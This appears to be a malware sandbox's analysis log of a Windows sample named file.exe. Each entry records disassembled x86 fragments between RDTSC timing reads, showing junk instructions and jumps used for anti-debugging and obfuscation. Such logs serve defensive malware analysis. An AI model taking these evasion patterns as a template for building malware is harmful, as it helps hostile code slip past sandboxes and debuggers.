Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC691 second address: 11CC6C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FECA473F0BDh 0x0000000b popad 0x0000000c jmp 00007FECA473F0BDh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 jng 00007FECA473F0B6h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114DAF3 second address: 114DAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEF05 second address: 11CEF11 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CF066 second address: 11CF071 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007FECA471BCA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CF1CF second address: 11CF1D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3B13 second address: 11D3B42 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 ja 00007FECA471BCA6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d je 00007FECA471BCBEh 0x00000013 jmp 00007FECA471BCB8h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3B42 second address: 11D3B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3CCC second address: 11D3CD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FECA471BCA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118391C second address: 1183988 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FECA473F0B8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov edi, dword ptr [ebp+122D375Dh] 0x00000028 mov ebx, dword ptr [ebp+1247682Ah] 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007FECA473F0B8h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 00000018h 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 movzx edi, bx 0x0000004b adc cx, 4BE5h 0x00000050 add eax, ebx 0x00000052 jne 00007FECA473F0B9h 0x00000058 push eax 0x00000059 pushad 0x0000005a push esi 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183988 second address: 1183995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jl 00007FECA471BCACh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183995 second address: 1183A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FECA473F0B8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 push 00000004h 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007FECA473F0B8h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e nop 0x0000003f pushad 0x00000040 jl 00007FECA473F0CBh 0x00000046 jmp 00007FECA473F0C5h 0x0000004b pushad 0x0000004c pushad 0x0000004d popad 0x0000004e push edi 0x0000004f pop edi 0x00000050 popad 0x00000051 popad 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007FECA473F0BFh 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183A1A second address: 1183A20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183A20 second address: 1183A24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8C76 second address: 11D8C82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8C82 second address: 11D8C88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC93E second address: 11DC94E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECA471BCAAh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC94E second address: 11DC95C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC95C second address: 11DC960 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC960 second address: 11DC979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jne 00007FECA473F0B6h 0x00000011 ja 00007FECA473F0B6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC979 second address: 11DC984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FECA471BCA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E463A second address: 11E4666 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FECA473F0BCh 0x00000008 jbe 00007FECA473F0BCh 0x0000000e js 00007FECA473F0B6h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 je 00007FECA473F0B6h 0x0000001e jp 00007FECA473F0B6h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4666 second address: 11E4671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4671 second address: 11E467B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FECA473F0B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E2896 second address: 11E289B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3482 second address: 11E34CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jnl 00007FECA473F0B6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007FECA473F0C6h 0x00000016 push eax 0x00000017 push eax 0x00000018 pop eax 0x00000019 pop eax 0x0000001a jnc 00007FECA473F0B8h 0x00000020 pushad 0x00000021 jmp 00007FECA473F0C6h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E37CB second address: 11E37CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4020 second address: 11E4024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8100 second address: 11E8106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E828D second address: 11E82CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FECA473F0C1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FECA473F0C9h 0x00000011 jnp 00007FECA473F0B6h 0x00000017 jnc 00007FECA473F0B6h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E82CF second address: 11E82EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8860 second address: 11E8864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4D75 second address: 11F4D8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB0h 0x00000007 jc 00007FECA471BCA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4D8F second address: 11F4D99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FECA473F0B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4D99 second address: 11F4D9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1146FB5 second address: 1146FDD instructions: 0x00000000 rdtsc 0x00000002 ja 00007FECA473F0CEh 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007FECA473F0B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1146FDD second address: 114700F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FECA471BCADh 0x00000013 js 00007FECA471BCA6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114700F second address: 1147028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FECA473F0C4h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F362B second address: 11F3631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F38C4 second address: 11F38CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2C75 second address: 11F2C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC4CB second address: 11FC4D0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC4D0 second address: 11FC4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA471BCB0h 0x00000009 pop ebx 0x0000000a js 00007FECA471BCACh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FBF65 second address: 11FBF6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC0AD second address: 11FC0B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120AE06 second address: 120AE28 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FECA473F0BCh 0x00000008 pushad 0x00000009 jmp 00007FECA473F0C1h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120AE28 second address: 120AE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A99A second address: 120A9A3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120ED9C second address: 120EDB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA471BCAFh 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120EDB0 second address: 120EDBA instructions: 0x00000000 rdtsc 0x00000002 js 00007FECA473F0BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120EDBA second address: 120EDE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FECA471BCABh 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007FECA471BCB5h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120EF4E second address: 120EF5C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FECA473F0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120EF5C second address: 120EF61 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121BA55 second address: 121BA5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122381C second address: 1223824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223AF8 second address: 1223B2D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FECA473F0B6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FECA473F0C4h 0x00000011 jnc 00007FECA473F0BEh 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223B2D second address: 1223B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223B31 second address: 1223B3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223B3E second address: 1223B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223F99 second address: 1223FAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECA473F0BAh 0x00000009 jnc 00007FECA473F0B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122422B second address: 1224238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 js 00007FECA471BCACh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224B24 second address: 1224B2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224B2A second address: 1224B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 je 00007FECA471BCA6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245077 second address: 1245088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FECA473F0B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245088 second address: 124508E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124508E second address: 1245094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245094 second address: 12450E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FECA471BCB3h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jng 00007FECA471BCBDh 0x00000016 jmp 00007FECA471BCB7h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FECA471BCB4h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12450E5 second address: 12450EF instructions: 0x00000000 rdtsc 0x00000002 jng 00007FECA473F0B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247C26 second address: 1247C2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247C2A second address: 1247C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FECA473F0BEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1249524 second address: 124953C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCAEh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125EA90 second address: 125EAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA473F0C6h 0x00000009 popad 0x0000000a jc 00007FECA473F0BEh 0x00000010 pushad 0x00000011 popad 0x00000012 jno 00007FECA473F0B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125EAB9 second address: 125EAD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECA471BCB1h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125EAD0 second address: 125EADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007FECA473F0B6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125EC24 second address: 125EC28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125ED83 second address: 125ED95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FECA473F0B6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125F2F0 second address: 125F2F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125F2F4 second address: 125F2FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1260EC3 second address: 1260ECD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FECA471BCA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1260ECD second address: 1260EE4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FECA473F0BDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126277E second address: 1262797 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FECA471BCA6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007FECA471BCAAh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262797 second address: 12627A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FECA473F0B6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12627A5 second address: 12627B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12627B1 second address: 12627B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12650E4 second address: 12650E9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12656A0 second address: 12656A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12656A5 second address: 1265729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA471BCB3h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f cmc 0x00000010 push ebx 0x00000011 mov dx, E246h 0x00000015 pop edx 0x00000016 push dword ptr [ebp+122D277Fh] 0x0000001c add dword ptr [ebp+122D24ABh], eax 0x00000022 push ecx 0x00000023 jl 00007FECA471BCA9h 0x00000029 movzx edx, bx 0x0000002c pop edx 0x0000002d call 00007FECA471BCA9h 0x00000032 jmp 00007FECA471BCAAh 0x00000037 push eax 0x00000038 push ebx 0x00000039 push ecx 0x0000003a jmp 00007FECA471BCB9h 0x0000003f pop ecx 0x00000040 pop ebx 0x00000041 mov eax, dword ptr [esp+04h] 0x00000045 jmp 00007FECA471BCADh 0x0000004a mov eax, dword ptr [eax] 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265729 second address: 126572F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126572F second address: 1265734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265734 second address: 126573E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FECA473F0B6h 0x0000000a rdtsc
